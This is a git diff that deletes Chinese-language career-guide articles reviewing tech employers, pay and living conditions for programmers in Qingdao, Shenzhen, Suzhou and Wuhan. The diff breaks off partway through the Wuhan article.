-待遇听说还不错,以前是归分行管,现在归总行管。青岛这边主要开发云缴费业务。据说是有末尾淘汰机制。近几年好多员工都跑到青岛银行了。 - -### 青岛银行 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-cc5091a0-28ad-4439-8718-a6b79e80ef83.png) - -青岛银行总行的技术岗。薪资不算高,有薪资爆料是年薪12w,不过算是摸鱼的天堂了,活大部分是外包干。 - -### 青岛凯亚 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-9fcaebb9-fcf0-4b34-8302-c0be931ae1ce.png) - -在青岛软件企业能算中上游了,不过全靠同行衬托。加上各种补贴,一年的工资差不多是是十二三万吧。试用期工资打五六折。技术还可以,不过有人爆料说他加班还挺多的。 - -### 青岛鼎信 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-f941c172-1ff2-40ce-bea0-8cb52a030bf3.png) - -主要做通信的公司,一个应届硕士的爆料是税前13k,每年13个月的工资,有食堂,每个月600的饭补。 - -### Yeelight - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-7f88980b-d21e-4b27-9306-f911eb8a02e6.png) - -Yeelight 算是在青岛为数不多的小而美的公司了,目前团队330人,研发人员超过一半,主要做智能照明,有小米的投资。听说团队氛围还不错,比较重视技术。我在网上没找到校招待遇的介绍,社招的话 BOSS 招聘 3-5年 Java 经验的报价是 12k-24k。 - -### 中车四方 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-f75fc5b3-2587-42d5-a80f-592a49c515eb.png) - -中车四方是国有控股公司,薪资待遇在青岛算中上。也招程序员。应届毕业生是6个月试用期,转正以后每年工资税前差不多15w左右。不过他这个工资构成和别人不一样呀。每月税前一万左右的工资好像其中六千左右是绩效,然后每年年中会发一个业绩奖金,不同部门的奖金差别很大。 - -### 中电41所 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-53f614bb-d10d-4ae2-9f83-5911ef8ddead.png) - -说实话,我一直对中电系列的研究所印象不是很好,不过听说中电28所的薪资后对中电系列的印象有所改观(这里是闲扯一句哈,中电28所在南京,和青岛没啥关系)。注意41所得总部是在安徽,青岛只是一个分部,我了解到是加班会比较严重。 - -好嘛,好不容易凑出来这几个程序员的工作机会,大家要是还知道一些比较好的工作机会,欢迎来补充呀。 - -## 生活 - -### 房价 - -青岛房均价两万多了吧。崂山和市南比较贵,其它地相对好一些。下面这张图有各区的房价,不是太准,不过可以参考下呀。感觉程序员在北京干几年,攒个首付,然后回青岛找个相对稳定的公司上班,买房压力还不是很大(除了买崂山和市南啊)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-a228e29e-363f-44a3-b8cc-6cdd18d34b9f.png) - -### 教育 - -感觉青岛的教育方面很不错。 - -大学方面,山东大学在青岛是有校区的,虽然离市区是真的远,但是人家有地铁呀。我记得坐那趟地铁去山东大学青岛校区找我舍友时穿越崂山,窗外的风景是真的漂亮。中国海洋大学也是一所985,校区是真的漂亮。中国石油大学是一所211,也挺不错的。另外像青岛大学、青岛理工大学、山东科技大学这些院校也是不错的。这几年各个高校也在青岛修建了研究院,感觉还是挺有发展前景的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-b37788d7-c33d-475a-bc69-05927bf0825d.png) - -高中方面,青岛二中、青岛一中、青岛五十八中、青岛九中、即墨一中等都非常好。不过山东高考的压力是真的大,感觉我大学和读研时身边的山东同学,当年高考都是英雄般的人物。 - -### 风景&美食 - -青岛是真的挺美的,感觉在青岛既能感觉到现代化大都市的感觉、又能体验到民国风情还能体验到欧式风情。另外我同学带我在青岛转时,经常走着走着就见到了大海,这让我这个多年身居内陆,没见过海的少年来说还是挺欣喜的。感觉青岛比西安冷很多,今年4月西安已经很热了,花都开了,但是去了青岛以后发现柳树才刚有一点点绿,还挺凉快的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-d619e60b-732b-497f-a4a0-ebbad7ce1ce9.png) - -青岛的海鲜是挺丰富了,让我这个很少吃海鲜的少年一次吃了个够,还买了些海鲜给家里面寄了点。果然内陆的海鲜吃起来和沿海城市的海鲜差好多,另外山东菜是真的能倒酱油。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/qingdao-ce0b22f6-0b52-425c-a5d0-4eefe52706f6.png) - -### 交通 - -感觉青岛交通还是不错的,地铁线路挺发达,尤其是有条地铁线直接从市里通到山东大学让我觉得很赞。坐车在市里游荡的时候不知道是不是因为避开了拥堵的地区,我感觉堵车不太严重。不过山东人开起车来是真的有点猛。 - - ->作者:大白,转载链接:[https://mp.weixin.qq.com/s/8QQvOrkG3Vdjj3GxP1zxBQ](https://mp.weixin.qq.com/s/8QQvOrkG3Vdjj3GxP1zxBQ) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/cityselect/shenzhen.md b/docs/src/cityselect/shenzhen.md deleted file mode 100644 index ec27cf797a..0000000000 --- a/docs/src/cityselect/shenzhen.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -shortTitle: 深圳 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 深圳都有哪些值得加入的IT互联网公司? - - - -又到了一年一度的求职签约季,一些小伙伴要开始定工作了,人生第一份工作是非常重要的,同样工作的城市也非常重要。 - -很多小伙伴希望在南方发展,那,从事IT或者软硬件,深圳算是一个不错的选择, 所以这里也给大家整理出一份详细的深圳互联网IT公司list, 多一份选择多一份机会! - -一线互联网 - -- 腾讯(总部深圳) -- 百度(深圳) -- 阿里(深圳) -- 字节跳动(深圳) -- 硬件巨头 (有软件/互联网业务) -- 华为(总部深圳) -- 中兴(总部深圳) -- 海能达(总部深圳) -- oppo(总部深圳) -- vivo(总部深圳) -- 深信服(总部深圳) -- 大疆(总部深圳,无人机巨头) -- 一加手机(总部深圳) -- 柔宇科技(国内领先的柔性屏幕制造商,最近正在准备上市) - -二线大厂 - -- 快手(深圳) -- 京东(深圳) -- 顺丰(总部深圳) - -三线大厂 - -- 富途证券(2020年成功赴美上市,主要经营港股美股) -- 微众银行(总部深圳) -- 招银科技(总部深圳) -- 平安系列(平安科技、平安寿险、平安产险、平安金融、平安好医生等) -- Shopee(东南亚最大的电商平台,最近发展势头非常强劲) -- 有赞(深圳) -- 迅雷(总部深圳) -- 金蝶(总部深圳) -- 随手记(总部深圳) - - -AI独角兽公司 - -- 商汤科技(人工智能领域的独角兽) -- 追一科技(一家企业级智能服务AI公司) -- 超多维科技 (计算机视觉、裸眼3D) -- 优必选科技 (智能机器人、人脸识别) - -明星创业公司 - -- 丰巢科技(让生活更简单) -- 人人都是产品经理(全球领先的产品经理和运营人 学习、交流、分享平台) -- 大丰收(综合农业互联网服务平台) -- 小鹅通(专注新教育的技术服务商) -- 货拉拉(拉货就找货拉拉) -- 编程猫(少儿编程教育头部企业) -- HelloTalk(全球最大的语言学习社交社区) -- 大宇无限( 拥有SnapTube, Lark Player 等多款广受海外新兴市场用户欢迎的产品) -- 知识星球(深圳大成天下公司出品) -- XMind(隶属深圳市爱思软件技术有限公司,思维导图软件) -- 小赢科技(以技术重塑人类的金融体验) - -其他行业(有软件/互联网业务) - -- 三大电信运营商:中国移动、中国电信、中国联通 -- 房产企业:恒大、万科 -- 中信深圳 -- 广发证券,深交所 -- 珍爱网(珍爱网是国内知名的婚恋服务网站之一) - - - ->作者:代码随想录,转载链接:[https://mp.weixin.qq.com/s/hBU-eEUq8aN5PWwdZFmC4g](https://mp.weixin.qq.com/s/hBU-eEUq8aN5PWwdZFmC4g) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/cityselect/suzhou.md b/docs/src/cityselect/suzhou.md deleted file mode 100644 index cbaa3f299e..0000000000 --- a/docs/src/cityselect/suzhou.md +++ /dev/null @@ -1,150 +0,0 @@ ---- -shortTitle: 苏州 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 苏州都有哪些值得加入的IT互联网公司? - - - -大家好,我是二哥呀! - -老读者应该都知道了,二哥第一份工作就是在苏州的一家外企度过的。除了洛阳,就属苏州生活的时间最长了,同事 nice、环境 nice、衣食住行也 nice。 - -初出茅庐的自己,曾无数次想象自己在苏州安家的样子,买一套大房子,把父母也接过来一起住,嗯。。 - -去年这个时候,也有读者问我是在苏州的哪一家外企,他老家就是在苏州。。 - -讲真,我至今依然觉得如果能去苏州工作和生活也是一个不错的选择,正好也应大家的要求,趁着周末,今天和大家一起来聊一聊苏州的互联网环境。 - -有句话叫做上有天堂,下有苏杭,不过有一说一,互联网环境方面苏州和杭州感觉还是有点差距。但是个人觉得还是不错的,而且从 18 年左右开始,苏州的互联网环境开始有了明显的改善。生活方面无论是苏州的地理位置,还是人文环境,都是十分适合居住生活的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-e780c8c6-6e3f-4ba0-a91b-5cf572ee2d54.png) - -老规矩,下面我们还是按照程序员的工作机会和生活环境来介绍苏州。 - -因为苏州目前可供程序员选择的好的就业机会还是不像北上广深等地那么多,我就不把苏州的工作机会分互联网、国企、外企等介绍了。我把比较不错的工作机会直接混在一起详细介绍下,然后其它我知道的工作机会就在最后列一下了。 - -## 工作机会 - -### 微软 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-e18a11b0-2667-4e27-b93f-a05dad122e76.png) - -微软可以说是程序员在苏州最好的工作机会了。微软近些年也一直扩大在苏州的投资力度,目前微软苏州研究院的研发团队已经有 2000 人左右了,并且还在近一步扩建。2022 年微软将启动微软苏州三期新大楼的建设,建成后预计微软在苏州的研发团队会达到5000人。所以,目前想拿微软苏州的 offer 的难度,相比于拿北京上海等其它几个工作地 offer 的难度会低一些,大家抓紧呀。 - -许多人对微软的印象就是养生,但是我问了一些微软的职工后发现还是要看组,在微软天天干到 9 点多才能下班的组也是有的,不过大部分组养生起来是真养生,支持居家办公这种工作方式是真的爽。 - -微软的薪资相对于国内的互联网大厂来说会低一些。苏州微软今年校招开出的 offer 是白菜价年薪 29 万左右(26万 base + 10%的年终奖),Special offer 年薪是 31万左右(28万 base + 10% 年终奖)。额外签字费加搬家费一次性发放 6 万元,4.5 万元的股票分 4 年发放。在校招薪水上也看到一个 2 年经验的老哥爆料自己拿到的苏州微软 61 级 offer 薪资,年薪 35 万左右(32万 base + 10%的年终奖),额外签字费加搬家费一次性发放 5 万元,8万美元的股票分4年发放,还有每年7200元的餐补,健身补贴每年 1800 元。 - -我有点按捺不住想给苏州微软投简历了。微软校招面试对于手撕代码的考察是很严格的,如果想要去微软的一定要多刷代码题。如果你走社招进微软的话,不止是要刷好题,还要多准备系统设计的相关知识,这个也是可以针对性准备的,可以看我这篇文章--[大型系统设计方案](https://mp.weixin.qq.com/s/Thd7AsuPq1c0Wgog-Ku0Bg),另外如果想准备面试常问八股文,也可以看这里-[八股文合集](https://mp.weixin.qq.com/s/1gXVd_6BEmaocu1NA4YToQ) - -### ZOOM - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-ce9a78ef-6a18-4adf-8a4f-de7b7fa34b45.png) - -在苏州,Zoom是除微软外的另一个好选择。Zoom 曾经被评为全球最佳雇主。根据 zoom 员工的说法,zoom的技术水平大概和国内二三线厂的水平差不多。薪资方面,比国内互联网也要低一些,看到一个校招薪资的爆料,一个做前端的硕士在苏州zoom的薪资是17k * 14。额外有 7 万美元的股票,分 4 年发完。虽然 base 薪资方面相对低一些,但是 zoom 工作是真的爽呀,没有 996,没有 kpi,办公环境好,无限零食和水果供应,这还要啥自行车。 - -### 华为 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-8bd7e5d1-1984-43f7-84e1-b02141160a37.png) - -华为在苏州的研究院设立时间不长。华为的苏研院的加班在各地所有的研发中心中是排的上号的。华为各地研发中心的忙碌程度差不多是成都 》= 西安 》= 苏州 > 武汉 > 东莞 > 杭州 > 南京 > 深圳 > 北京 > 上海(整体感觉是这样,每个研发中心各部门的加班情况也不同)。不过华为有一个好处就是你挣的钱能和你的付出成正比,所以想快速挣钱的还是建议去。 - -### 360 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-85547b36-15da-443f-b7f2-878bfd06e997.png) - -360 来苏州时间不长,2018年才逐渐开始在苏州设立开发部门。目前 360 苏州包含了未来安全研究、360政企、安全等部门。目前 360苏州的薪资水平是北京上海薪资水平的 8 折,看到 21 年毕业的一个应届硕士爆料月薪是 16k,工资有点少,不过感觉在苏州也不错呀。 - -### Momenta - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-c4c83915-04b5-4660-9bad-32989a65116d.png) - -一开始我对 Momenta 还真没什么了解,直到我有一天突然在校招薪水上搜了下 Momenta,然后我不由得直呼卧槽,这特么是给应届生的薪资?认真的? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-ff400245-2fe0-437e-8dd3-aa9eed650e99.png) - -然后我详细的了解了下这家公司,这是一家做自动驾驶的公司,创立时间也不长,2016年创立的。不过据说这家公司加班特别猛,有的组 10 10 5,有的组 996,有的组比 996 还要累。Momenta 现在能给的起这么高的工资,实力还是有的,不过对于发展的前景来说,领域这么垂直的公司风险性是比较大的。 - -### 企查查 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-d4bcbf1d-f758-4267-b55f-7553d7673511.png) - -跟上面的公司相比,企查查算是一个小而美的公司。企查查是苏州的本地企业,目前来说口碑还是很不错的。目前企查查的业务很赚钱,自己的大楼也差不多修好了。没有强制加班,全额社保和公积金。我没有查到企查查的校招薪资,看 boss 上的社招薪资水平不算太高,只能算还可以了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-c7dbed8d-c471-4969-bfc4-badf8e0ac346.png) - -### 收钱吧 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-31051fbc-a573-4328-904b-6915bfba2323.png) - -这个公司大家应该都听说过,每次你用支付宝或者微信给商家付钱时都能听到“收钱吧到账xx元”。收钱吧的技术不错,加班也比较少,收钱吧的风评不错。不过就是工资相对给的少点,月薪 17k 左右(在苏州也还行了),每年14 个月的月薪。 - -### 中国移动苏州研究院 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-1bb72f74-dba6-420f-8c37-0a9e621b3561.png) - -中国移动苏州研究院又叫苏小研,其实犹豫了很久要不要把他放在推荐里。苏小妍在知乎上的争议很大,有说待遇福利很好的,也有狂喷的。苏小研肯定有国企的通病,这个我确认,但具体怎么样就靠大家自己判断了,贴两张知乎上对苏小研的评价,好坏要大家自己去具体确认了。这两张图评价完全是两个极端呀。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-b616269f-3717-4ea4-8c29-b4d5bcd448b4.png) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-76122245-a8e1-44a8-a1f4-8ce7ab3c640d.png) - -上面是我认为苏州的比较不错的程序员就业机会,其它的一些苏州比较成规模的提供程序员就业机会的公司就列在下面,并且快速的简单介绍一下。 - - - -**同程艺龙**:之前算是苏州最大的互联网公司,但是目前员工对公司的吐槽比较多,详情可以在知乎和脉脉上搜下。 - -**京东工品汇**:工品汇是之前苏州的企业,被京东收购了,据说目前算是京东比较边缘的业务部门。 - -**科大讯飞**:科大讯飞在苏州是有岗位的,不过岗位很少。 - -**思必驰**:和科大讯飞一样做语音的,不过现在网上对思必驰的负面评价孩挺多 - -**建信金科、中银金科**:看名字就可以看出,这两公司属于银行的子公司,也可以说是外包。大家要把这些公司和银行的软件开发中心区分开来。其实银行的子公司给人的感觉有点尴尬,就是它们既没有互联网公司的高薪,也没有银行软件开发中心直属总行的稳定。当然这也就是相对于大互联网公司来说,如果手上没有一二线互联网公司的 offer,也可以考虑去的。 - -**锐捷**:许多同学应该听说过锐捷,专门做校园网的,比较偏底层,对 Linux 内核感兴趣的可以看看呀。薪资相对较低,校招开出的薪资在13~15k 这个区间。 - -**金蝶**:国内 ERP 巨头,在苏州貌似岗位不多。 - -**科沃斯**:主要做智能硬件的,公司很强,市值都一千多亿了。也有很多编程的岗位。。 - -## 生活 - -许多人想在苏州定居,也主要是觉得在苏州生活很惬意。下面还是分教育、房价、交通、娱乐等方面介绍下。 - -### 教育 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-1b300d4a-1384-4dd2-a9a5-98221f1f6c46.png) - -高等教育方面。其实就苏州本身而言,高校并不多,只有苏州大学一所 211(苏大的自然语言处理挺强的)。但是前些年许多地理位置偏北的高校为了打造自己在南方的影响力,提高生源质量,都会选择在南方办学。其中一部分选择了深圳,另一部分选择了苏州。西交大、中科大、中国人民大学、东南大学、西工大等院校都在苏州设有校区。所以虽然苏州本地院校不多,但是苏州计算机软件相关的高校毕业生并不少。不过这种现象随着西工大太仓校区刚修好,异地办学就被叫停了,我瓜实惨~ - -中小学教育方面,苏州的教育质量肯定是不错的,不过江苏的高考压力可不小。有些人定居苏州也会担心下一代的高考问题。 - -### 房价 - -相比于苏州的工资水平,其实苏州的房价也不低了,看网站上的新房均价大约两万五一平。但是和旁边的城市一比,那苏州的房价就比较香了。在苏州咬咬牙还是能考虑买房的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-60675498-4bfe-46d2-af70-da2f21add403.png) - -### 娱乐&交通&美食 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/suzhou-c35c16ca-0bbf-489a-ba0b-9ecb6fef6905.png) - -娱乐方面苏州好玩的地方很多,传统的苏州园林风格和苏州现代风格都让人十分留恋。周末在苏州园林逛一逛真的很惬意。 - -交通方面堵车是肯定会堵的,还没见过哪个二线以上城市不堵车的。但是苏州的交通相比于其它同量级的城市还是要好很多。另外苏州地理位置上靠近上海南京,出去玩也很方便。 - -美食方面,苏帮菜貌似在全国并不多见,口味偏甜。这就不知道大多数北方人能不能吃得惯了~ - -好了,就介绍这么多,我感觉我还真有点想给苏州微软投简历去工作生活一段时间~ - - ->作者:大白,转载链接:[https://mp.weixin.qq.com/s/cnYsZLudFOwv5EKYMsMh0Q](https://mp.weixin.qq.com/s/cnYsZLudFOwv5EKYMsMh0Q) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/cityselect/wuhan.md b/docs/src/cityselect/wuhan.md deleted file mode 100644 index 468f21cf3e..0000000000 --- a/docs/src/cityselect/wuhan.md +++ /dev/null @@ -1,309 +0,0 @@ ---- -shortTitle: 武汉 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 武汉都有哪些值得加入的IT互联网公司? - -## 国内一二线大厂 - -### 字节跳动 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-d32add0e-e704-4d92-a2d2-40630a1b1342.png) - -- **基本情况** :字节总部在北京,在上海、深圳、杭州、广州、成都等地都有办公室。字节跳动 2018 年来到武汉,近几年的招聘规模非常大,研发人员的数目也越来越多! -- **业务方向** :效率工程(Efficiency Engineering)、飞书、aPaaS(对标业内顶级 PaaS 和 SaaS 平台产品)、抖音电商。 -- **工作地点** :洪山区关山大道保利广场保利国际中心 -- **福利情况**:六险一金(12%)、包三餐、免费下午茶+零食、免费健身房、Top 薪酬、住房补贴 -- **招聘情况**:主要招聘后端(Java、Go)、前端、测试等岗位。 -- **面试** : 面试这块的话,主要是问计算机基础知识,一般先会让你做一道算法题,算法题的难度还是比较大的。字节的面试有个好处是可以对你反复进行打捞,就是说你面挂一个部门以后,可以马上再转投另一个部门,并且好多部门是不用笔试直接进面试的。我前前后后面了字节三个部门,并且都是第二面,或者三面挂...我有种感觉就是整个 九月 都在跟字节面试官聊天。但最终也没通过字节面试。 - -### 华为 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-bb572ae0-0f3b-4a19-9d69-46cabda6a276.png) - -- **基本情况** :华为不属于传统意义上的互联网公司,不过算得上是大厂。华为在武汉有一个研究所,规模还是挺大的! -- **业务方向** :传接、光产品、消费者(平板、笔记本电脑、音箱等)。 -- **工作地点** :武汉未来科技城,目前已自建办公园区基地。 -- **福利情况**:员工股权激励、薪资非常有竞争力。华为校招根据面试评分给应届生进行评级,本科生和硕士生的评级在 13 级 和 15 级 之间,每一级又分为 A、B、C 三个档。根据评级进行工资的评定,13 级 和 14 级 的税前工资在每月 13-19k 之间,每年 14 薪。15 级 需要特别优秀的硕士才能拿到,工资年包基本在税前 30 万 - 40 万之间。 -- **招聘情况**:主要招聘软件开发(Java、C++)、嵌入式开发、测试等岗位。 -- **面试** : 面试的话,难度一般,主要看学历。 -- **补充** : 华为加班比较多,压力可能会比较大。不过,薪资收入在武汉绝对是 Top 级别。 - -### 腾讯 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-7dac1d41-259d-441a-b9f1-909e8ee6d8f6.jpg) - -- **基本情况** :腾讯目前在武汉有腾讯武汉研发中心和腾讯云计算(武汉)有限责任公司,前者是分部后者是全资子公司。 -- **业务方向** :腾讯云主要负责腾讯云后台开发维护及智慧产业相关产品的研发,旗下有腾讯会议、智慧校园、数字政府等产品。 -- **福利情况**:全额公积金 (12%)+饭补+带薪年假 -- **招聘情况**:主要招聘前端开发、后台开发、数据库工程、云储存技术专家、云原生架构师等岗位。 -- **面试** : 面试的话,难度较大。校招的话,一般会先让你做一个笔试。笔试考察的内容比较全面,既有计算机基础又有编程题。实习的话,一般是先进行一波电话面试,主要问你一些比较编程基础相关的问题。 -- **补充** : 全资子公司和腾讯本部还是不一样的,加入之前请慎重考虑。不过,即使是全资子公司的待遇在武汉也是属于非常不错的了。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-8f739cdf-83ed-488b-b23d-37d355a872f0.png) - -### 小米 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-35650ed1-dee8-471d-b6e1-502373d54649.png) - -- **基本情况** :雷总是武大的毕业,把小米总部也设立在了武汉。小米在武汉的发展还挺迅速,目前,小米在武汉员工已经超过 2000 人。小米在北京、深圳、上海、武汉、南京都有办公室。 -- **业务方向** :新零售、国际化、人工智能、互联网金融 -- **工作地点** :武汉东湖高新九峰一路小米武汉研发中心(自建) -- **福利情况**:待遇不错,公积金 12%全额缴纳。 -- **招聘情况**:主要招聘 Java、Go、前端、服务端、测试等岗位。 -- **面试** : 面试的话,难上中等偏上。过程一般是:网申 → 简历初筛 → 测评 → 笔试 → 简历复筛 → 面试 →offer。 -- **补充** : 小米在武汉确实是一个非常不错的选择! - -### 金山软件 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-32b6e329-7fd2-4e35-a791-3969b4caaed3.png) - -- **基本情况** :金山软件(以下简称金山)是国内最早的互联网软件企业之一,2017 年来到武汉,未来将武汉作为重要的研发基地和人才培养基地。 - -- **业务方向** :涉及金山办公(WPS Office)、西山居(美术中心为主,也有游戏研发)、金山云(云服商)3 条业务线。 - -- **工作地点** :光谷 APP 广场 - -- **福利情况**:待遇不错,公积金 12%全额缴纳。 - -- **招聘情况**:主要招聘前端开发、后端开发、移动开发、算法等岗位。 - -- **面试** :面试难度中等偏上,面试前记得好好吃透简历上写的技能。 - -- **补充** : 部分项目组可能会存在加班情况。 - - ![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-83867b2a-8216-49d7-878a-8ec756a7d712.png) - -### 有赞 - -- **基本情况** :有赞是 2021 年才来武汉成立研发中心。 -- **业务方向** :SaaS 服务(帮助商家网上开店、社交营销......)、PaaS 云服务。 -- **工作地点** :洪山区关山大道保利广场保利国际中心 -- **福利情况**:全额五险一金,公积金 12%+饭补+话费补助 -- **招聘情况**:主要招聘后端、前端、移动开发等岗位。 -- **面试** :面试难度中等偏上。一般由 3 轮面试,前 2 面是技术面,最后 1 面是 HR 面。 -- **补充** : 公司技术不错! - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-66dd61ad-878d-42e0-a79d-0be2c3cab8bf.png) - -### 神策数据 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-a334e309-f7da-426a-a6d8-24da4f8b66f6.png) - -- **基本情况** :神策数据是国内专业的大数据分析和营销科技服务提供商,为企业提供神策营销云、神策分析云、神策数据根基平台三大产品方案。公司总部在北京,2019 年 4 月 ,神策武汉研发中心正式成立。 -- **业务方向** :互联网、品牌零售、金融、融合媒体、企业服务、高科技、汽车、互联网+ -- **工作地点** :洪山区关山大道光谷新发展国际中心 -- **福利情况**:七险一金、定期体检、带薪年假、不限量零食、下午茶、节日礼品、生日礼物、团建等 -- **招聘情况**:主要招聘后端、前端、机器学习、大数据。 -- **面试** :面试难度中等偏上。一般由 4 轮面试,前 3 面是技术面,最后 1 面是 HR 面。 -- **补充** : 公司发展比较快,技术氛围不错。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-8702c0b4-97df-4f90-a25a-ae2c7ada60ac.png) - -### 其他 - -除了上面介绍到的这些一二线大厂之外,武汉还有下面这些不错的公司: - -- **木仓科技** : 专注于汽车生态的一家公司,驾考宝典和买车宝典就是他们的产品之一。成立于北京,目前在北京/武汉/上海/广州拥有办公地点,近 500 名员工。 -- **青云** :云计算服务提供商。成立于北京,目前在北京/武汉/成都拥有办公地点。 -- **科大讯飞** :智能语音及语言技术、人工智能技术研究和软、硬件产品应用开发。 -- **京东武汉京喜事业部** :京东 2021 年成立了京喜事业群,京喜通事业部就是其中一员。 -- **旷视科技** :人工智能产品和解决方案,Face++云平台就是他们家的产品。 -- **多益网络** :游戏相关,神武系列、梦想世界就是他们家的游戏。 -- ...... - -## 国企 - -### 远光软件 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-b57eb368-1c42-4400-a5e4-82e2f12d8e63.png) - -- **基本情况** :2011 年远光武汉研发中心成立,2015 年创建全资子公司远光软件(武汉)有限公司。 -- **业务方向** :集团管理、智慧能源、智能物联、社会互联。 -- **工作地点** :东湖高新技术开发区光谷大道 77 号光谷金融港 B3 栋 。 -- **福利情况**:有通勤车和食堂,整体待遇不错。 -- **招聘情况**:主要招聘 Java、Go、前端、人工智能、测试等岗位。 -- **面试** :面试难度一般,基础考得多。 -- **补充** : 部分项目组可能会存在加班情况。 - -### 烽火通信科技 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-d60cfcc4-da3b-450d-b08a-f6cd23abd7f6.png) - -- **基本情况** :烽火通信成立于 1999 年,前身是通讯业内闻明显著的武汉邮电科学研究院,1976 年成功制作出国内第一根光纤。不过,目前的发展情况不行,前景堪忧。 -- **业务方向** :通信系统设备、光纤及线缆、数据网络产品。 -- **工作地点** :东湖开发区高新四路 6 号 -- **福利情况**:待遇一般,五险一金,免费班车,餐补。 -- **招聘情况**:主要招聘 Java、.Net、人工智能、算法等岗位。 -- **面试** :面试难度一般。 -- **补充** : 武汉本土国企,不过,据说内部的情况比较坑,不太适于追求技术发展的朋友。 - -## 金融相关 - -### 众邦银行 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-e6a98f7b-543c-47d1-a0e8-0e1c22f6d452.jpg) - -- **基本情况** :专注于服务个人小微的互联网交易银行。 -- **业务方向** :互联网金融 -- **工作地点** :汉口北国际商品交易中心 D2 区 -- **福利情况**: 六险二金、节假日福利、带薪年假、生日福利 -- **招聘情况**:主要招聘大数据、前端、后端、运维、测试等岗位。 -- **面试** :面试难度一般,面试氛围一般。 - -### 微众银行 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-40ecc5c0-dcc6-4505-b272-4a2e51f91f89.jpg) - -- **基本情况** :科技驱动的国内首家民营银行、互联网银行。 -- **业务方向** :微众银行武汉研发中心主要负责承担微众各类业务系统设计、开发、运维等工作,与相关科技部门充分协作,为业务提供高质量且成本可控的系统功能交付,以支持银行业务整体可持续发展。 -- **工作地点** :中建·光谷之星科技产业园 -- **福利情况**: 年底双薪,年终奖,节日京东卡,日常团建、公司旅游,生日 party,下午茶,12%的公积金,员工险,年度体检,周末双休.etc -- **招聘情况**:主要招聘前端、后端、运维、测试等岗位。 -- **面试** :面试难度中等。一般由 4 轮面试,第 1 面是技术面,2,3 面试领导面,最后 1 面是 HR 面。 - -### 长江证券 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-79a0261a-c2cf-4437-8b00-774d4242a5c3.jpg) - -- **基本情况** :武汉本土,总部就设在武汉、业务网络覆盖全国的一家综合类上市证券公司。 -- **业务方向** :互联网金融 -- **工作地点** :新华路特 8 号长江证券大厦 -- **福利情况**: 五险一金,餐补,交通补贴,通讯补贴 -- **招聘情况**:主要招聘 Java、前端、运维、算法等岗位。 -- **面试** :面试难度中等,问的问题比较细,框架,项目经历等等。 - -### 其他 - -除了上面介绍到的这些银行之外,武汉还有农业银行武汉研发中心、建设银行武汉研发中心、浦发银行武汉研发中心等不错的银行研发中心可供选择。 - -证券类公司,除了长江证券,还有中信证券、国泰君安证券等证券公司。不过,这些公司大多不招聘技术人员。 - -## 本地互联网公司 - -### 斗鱼 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-b4b533d0-7cb1-4b13-859e-8c7bc3280171.png) - -- **基本情况** :斗鱼是武汉比较大的一家本土互联网公司,直播行业的龙头,武汉市第一家“独角兽”级互联网创业公司。目前的话,虎牙和斗鱼已经合并。2019 年 7 月 17 日,斗鱼在美国纳斯达克交易所上市,成为湖北首家海外上市的本土互联网公司。斗鱼的办公环境不错,据说伙食也还可以,最重要的是你还有机会见到一些知名主播。 -- **业务方向** 